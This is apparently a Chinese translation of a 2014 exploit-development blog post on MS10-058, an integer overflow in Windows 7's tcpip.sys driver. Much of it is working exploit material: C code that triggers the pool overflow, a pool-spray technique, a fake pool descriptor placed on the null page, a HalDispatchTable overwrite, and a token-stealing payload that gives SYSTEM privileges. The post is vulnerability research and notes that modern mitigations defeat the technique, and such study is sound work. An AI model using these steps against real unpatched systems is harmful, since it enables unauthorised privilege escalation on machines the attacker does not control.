首次涉足内核池:MS10-058漏洞分析
日期:2014年3月11日
作者:Jeremy “__x86” Fetiveau
分类:漏洞利用
标签:逆向工程、漏洞利用、内核池、ms10-058、tcpip.sys
引言
我正在研究基于池的内存破坏漏洞,因此决定为Tarjei Mandt在首次演讲《Windows 7内核池利用》[3]中提到的漏洞编写PoC利用程序。我认为这是学习池溢出的良好练习。
目录:
- 引言
- 前言
- 触发漏洞
- 池喷射
- 利用技术
- 基础结构
- PoolIndex覆盖
- 非分页池类型
- 伪造池描述符
- 注意事项
- 载荷与清理
- 致谢
- 结论
- 参考文献
前言
如需实验此漏洞,请阅读[1]并确保使用易受攻击的系统。我在Windows 7 32位虚拟机(tcpip.sys版本6.1.7600.16385)上测试了利用程序。微软相关公告为MS10-058,由Matthieu Suiche[2]发现,并被用作Tarjei Mandt论文[3]的示例。
触发漏洞
tcpip!IppSortDestinationAddresses
中的整数溢出导致分配错误大小的非分页池内存块。以下是易受攻击版本与修复版本的差异对比。
漏洞本质上是整数溢出触发的池溢出:
1
2
3
4
5
6
7
8
9
|
IppSortDestinationAddresses(x,x,x)+29 imul eax, 1Ch
IppSortDestinationAddresses(x,x,x)+2C push esi
IppSortDestinationAddresses(x,x,x)+2D mov esi, ds:__imp__ExAllocatePoolWithTag@12
IppSortDestinationAddresses(x,x,x)+33 push edi
IppSortDestinationAddresses(x,x,x)+34 mov edi, 73617049h
IppSortDestinationAddresses(x,x,x)+39 push edi
IppSortDestinationAddresses(x,x,x)+3A push eax
IppSortDestinationAddresses(x,x,x)+3B push ebx
IppSortDestinationAddresses(x,x,x)+3C call esi ; ExAllocatePoolWithTag(x,x,x)
|
可通过WSAIoctl
使用SIO_ADDRESS_LIST_SORT
代码触发此漏洞:
1
|
WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)
|
需要向函数传递SOCKET_ADDRESS_LIST
指针(示例中的pwn)。该结构包含iAddressCount
字段和相应数量的SOCKET_ADDRESS
结构。通过设置较高的iAddressCount
值,整数将回绕,触发错误大小的分配。我们几乎可以在这些结构中写入任意内容,仅有两个限制:
1
2
3
4
5
6
|
IppFlattenAddressList(x,x)+25 lea ecx, [ecx+ebx*8]
IppFlattenAddressList(x,x)+28 cmp dword ptr [ecx+8], 1Ch
IppFlattenAddressList(x,x)+2C jz short loc_4DCA9
IppFlattenAddressList(x,x)+9C cmp word ptr [edx], 17h
IppFlattenAddressList(x,x)+A0 jnz short loc_4DCA2
|
复制操作将在检查失败时停止。这意味着每个SOCKET_ADDRESS
的长度必须为0x1c,且每个套接字地址指向的SOCKADDR
缓冲区必须以0x17字节开头。简而言之:
- 使
IppSortDestinationAddresses+29
处的乘法溢出
- 在
IppSortDestinationAddresses+3e
处获得过小的非分页池块
- 在
IppFlattenAddressList+67
处将用户控制的内存写入此块并任意溢出(需注意0x1c和0x17字节限制)
以下代码应触发蓝屏死机(BSOD)。现在的目标是在易受攻击的对象后放置对象并修改池元数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
WSADATA wd = {0};
SOCKET sock = 0;
SOCKET_ADDRESS_LIST *pwn = (SOCKET_ADDRESS_LIST*)malloc(sizeof(INT) + 4 * sizeof(SOCKET_ADDRESS));
DWORD cb;
memset(buffer,0x41,0x1c);
buffer[0] = 0x17;
buffer[1] = 0x00;
sa.lpSockaddr = (LPSOCKADDR)buffer;
sa.iSockaddrLength = 0x1c;
pwn->iAddressCount = 0x40000003;
memcpy(&pwn->Address[0],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[1],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[2],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[3],&sa,sizeof(_SOCKET_ADDRESS));
WSAStartup(MAKEWORD(2,0), &wd)
sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)
|
池喷射
非分页对象
有多种对象可用于操纵非分页池,例如信号量对象或保留对象。
1
2
3
|
*8516b848 size: 48 previous size: 48 (Allocated) Sema
*85242d08 size: 68 previous size: 68 (Allocated) User
*850fcea8 size: 60 previous size: 8 (Allocated) IoCo
|
我们尝试溢出大小为0x1c倍数的池块。由于0x1c*3=0x54,驱动程序将请求0x54字节,因此获得0x60字节的块。这正是I/O完成保留对象的大小。要分配IoCo,只需使用对象类型IOCO调用NtAllocateReserveObject
。要释放IoCo,只需关闭关联句柄,对象管理器将释放该对象。有关保留对象的更多信息,请阅读j00ru的文章[4]。
为了进行喷射,我们首先分配大量IoCo而不释放它们,以填充池中的现有空洞。然后,分配IoCo并制造0x60字节的空洞。这在我的PoC的sprayIoCo()
函数中有所说明。现在,我们能够让IoCo池块跟随Ipas池块(您可能已经注意到,“Ipas”是tcpip驱动程序使用的标签)。因此,我们可以轻松破坏其池头。
nt!PoolHitTag
如果要调试特定的ExFreePoolWithTag
调用并中断,会发现释放操作过多(尤其是在内核调试时非常慢)。解决此问题的简单方法是使用池命中标签。
1
2
3
4
5
6
7
8
9
|
ExFreePoolWithTag(x,x)+62F and ecx, 7FFFFFFFh
ExFreePoolWithTag(x,x)+635 mov eax, ebx
ExFreePoolWithTag(x,x)+637 mov ebx, ecx
ExFreePoolWithTag(x,x)+639 shl eax, 3
ExFreePoolWithTag(x,x)+63C mov [esp+58h+var_28], eax
ExFreePoolWithTag(x,x)+640 mov [esp+58h+var_2C], ebx
ExFreePoolWithTag(x,x)+644 cmp ebx, _PoolHitTag
ExFreePoolWithTag(x,x)+64A jnz short loc_5180E9
ExFreePoolWithTag(x,x)+64C int 3 ; Trap to Debugger
|
如上述列表所示,nt!PoolHitTag
与当前释放块的池标签进行比较。注意掩码:它允许使用原始标签(例如“oooo”而不是0xef6f6f6f)。顺便说一句,您不需要使用真实标签(例如,可以使用“ooo”代表“IoCo”)。现在您知道可以通过ed nt!PoolHitTag 'oooo'
来调试利用程序。
利用技术
基础结构
由于池的内部结构在Tarjei Mandt的论文[3]中有详细说明,我仅简要介绍池描述符和池头结构。池内存分为几种类型,其中两种是分页池和非分页池。池由_POOL_DESCRIPTOR
结构描述,如下所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
0: kd> dt _POOL_TYPE
ntdll!_POOL_TYPE
NonPagedPool = 0n0
PagedPool = 0n1
0: kd> dt _POOL_DESCRIPTOR
nt!_POOL_DESCRIPTOR
+0x000 PoolType : _POOL_TYPE
+0x004 PagedLock : _KGUARDED_MUTEX
+0x004 NonPagedLock : Uint4B
+0x040 RunningAllocs : Int4B
+0x044 RunningDeAllocs : Int4B
+0x048 TotalBigPages : Int4B
+0x04c ThreadsProcessingDeferrals : Int4B
+0x050 TotalBytes : Uint4B
+0x080 PoolIndex : Uint4B
+0x0c0 TotalPages : Int4B
+0x100 PendingFrees : Ptr32 Ptr32 Void
+0x104 PendingFreeDepth : Int4B
+0x140 ListHeads : [512] _LIST_ENTRY
|
池描述符在称为ListHeads的空闲列表中引用空闲内存。PendingFrees字段引用等待释放到空闲列表的内存块。指向池描述符结构的指针存储在数组(如PoolVector(非分页)或ExpPagedPoolDescriptor(分页))中。每个内存块在实际数据之前包含一个头,即_POOL_HEADER
。它提供块大小或所属池等信息。
1
2
3
4
5
6
7
8
9
10
|
0: kd> dt _POOL_HEADER
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
|
PoolIndex覆盖
此攻击的基本思想是破坏池头的PoolIndex字段。该字段在释放分页池块时用于确定其所属的池描述符,用作指向池描述符的指针数组的索引。因此,如果攻击者能够破坏它,可以使池管理器认为特定块属于另一个池描述符。例如,可以引用数组边界外的池描述符。
1
2
3
|
0: kd> dd ExpPagedPoolDescriptor
82947ae0 84835000 84836140 84837280 848383c0
82947af0 84839500 00000000 00000000 00000000
|
由于数组后总有一些空指针,可用于在用户分配的空页中伪造池描述符。
非分页池类型
为确定要使用的_POOL_DESCRIPTOR
,ExFreePoolWithTag
获取适当的_POOL_HEADER
并存储PoolType(watchMe)和BlockSize(var_3c)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
ExFreePoolWithTag(x,x)+465
ExFreePoolWithTag(x,x)+465 loc_517F01:
ExFreePoolWithTag(x,x)+465 mov edi, esi
ExFreePoolWithTag(x,x)+467 movzx ecx, word ptr [edi-6]
ExFreePoolWithTag(x,x)+46B add edi, 0FFFFFFF8h
ExFreePoolWithTag(x,x)+46E movzx eax, cx
ExFreePoolWithTag(x,x)+471 mov ebx, eax
ExFreePoolWithTag(x,x)+473 shr eax, 9
ExFreePoolWithTag(x,x)+476 mov esi, 1FFh
ExFreePoolWithTag(x,x)+47B and ebx, esi
ExFreePoolWithTag(x,x)+47D mov [esp+58h+var_40], eax
ExFreePoolWithTag(x,x)+481 and eax, 1
ExFreePoolWithTag(x,x)+484 mov edx, 400h
ExFreePoolWithTag(x,x)+489 mov [esp+58h+var_3C], ebx
ExFreePoolWithTag(x,x)+48D mov [esp+58h+watchMe], eax
ExFreePoolWithTag(x,x)+491 test edx, ecx
ExFreePoolWithTag(x,x)+493 jnz short loc_517F49
|
之后,如果ExpNumberOfNonPagedPools
等于1,正确的池描述符将直接从nt!PoolVector[0]
获取,不使用PoolIndex。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
ExFreePoolWithTag(x,x)+5C8 loc_518064:
ExFreePoolWithTag(x,x)+5C8 mov eax, [esp+58h+watchMe]
ExFreePoolWithTag(x,x)+5CC mov edx, _PoolVector[eax*4]
ExFreePoolWithTag(x,x)+5D3 mov [esp+58h+var_48], edx
ExFreePoolWithTag(x,x)+5D7 mov edx, [esp+58h+var_40]
ExFreePoolWithTag(x,x)+5DB and edx, 20h
ExFreePoolWithTag(x,x)+5DE mov [esp+58h+var_20], edx
ExFreePoolWithTag(x,x)+5E2 jz short loc_5180B6
ExFreePoolWithTag(x,x)+5E8 loc_518084:
ExFreePoolWithTag(x,x)+5E8 cmp _ExpNumberOfNonPagedPools, 1
ExFreePoolWithTag(x,x)+5EF jbe short loc_5180CB
ExFreePoolWithTag(x,x)+5F1 movzx eax, word ptr [edi]
ExFreePoolWithTag(x,x)+5F4 shr eax, 9
ExFreePoolWithTag(x,x)+5F7 mov eax, _ExpNonPagedPoolDescriptor[eax*4]
ExFreePoolWithTag(x,x)+5FE jmp short loc_5180C7
|
因此,必须使池管理器认为块位于分页内存中。
伪造池描述符
由于我们需要在空地址处伪造池描述符,只需分配该页并设置伪造的延迟空闲列表和伪造的ListHeads。
释放块时,如果延迟空闲列表包含至少0x20个条目,ExFreePoolWithTag
将实际释放这些块并将其放入ListHeads的相应条目中。
1
2
3
4
5
6
7
8
9
10
|
*(PCHAR*)0x100 = (PCHAR)0x1208;
*(PCHAR*)0x104 = (PCHAR)0x20;
for (i = 0x140; i < 0x1140; i += 8) {
*(PCHAR*)i = (PCHAR)WriteAddress-4;
}
*(PINT)0x1200 = (INT)0x060c0a00;
*(PINT)0x1204 = (INT)0x6f6f6f6f;
*(PCHAR*)0x1208 = (PCHAR)0x0;
*(PINT)0x1260 = (INT)0x060c0a0c;
*(PINT)0x1264 = (INT)0x6f6f6f6f;
|
注意事项
有趣的是,此攻击在现代缓解措施下无法工作。原因包括:
- PoolIndex字段的验证
- 空页分配的防止
- Windows 8引入了NonPagedPoolNX,应替代NonPagedPool类型
- SMAP防止访问用户态数据
- SMEP防止执行用户态代码
载荷与清理
写-写场景的经典目标是HalDispatchTable。只需将HalDispatchTable+4
覆盖为指向我们的载荷(即setupPayload()
)的指针。完成后,只需将指针恢复为hal!HaliQuerySystemInformation
(否则可能导致崩溃)。
既然能够从内核态执行任意代码,只需使用PsGetCurrentProcess()
获取攻击进程的_EPROCESS
,并遍历使用ActiveProcessLinks字段的进程列表,直到遇到ImageFileName为“System”的进程。然后将攻击进程的访问令牌替换为系统进程的访问令牌。注意,此利用程序的懒惰作者硬编码了几个偏移量:)。
这在payload()
中有所说明。
致谢
特别感谢我的朋友@0vercl0k的审阅和帮助!
结论
希望您喜欢本文。如需了解更多信息,请查阅Tarjei Mandt、Zhenhua Liu和Nikita Tarakanov的最新论文(或等待其他文章;)。
您可以在我的新github[5]上找到我的代码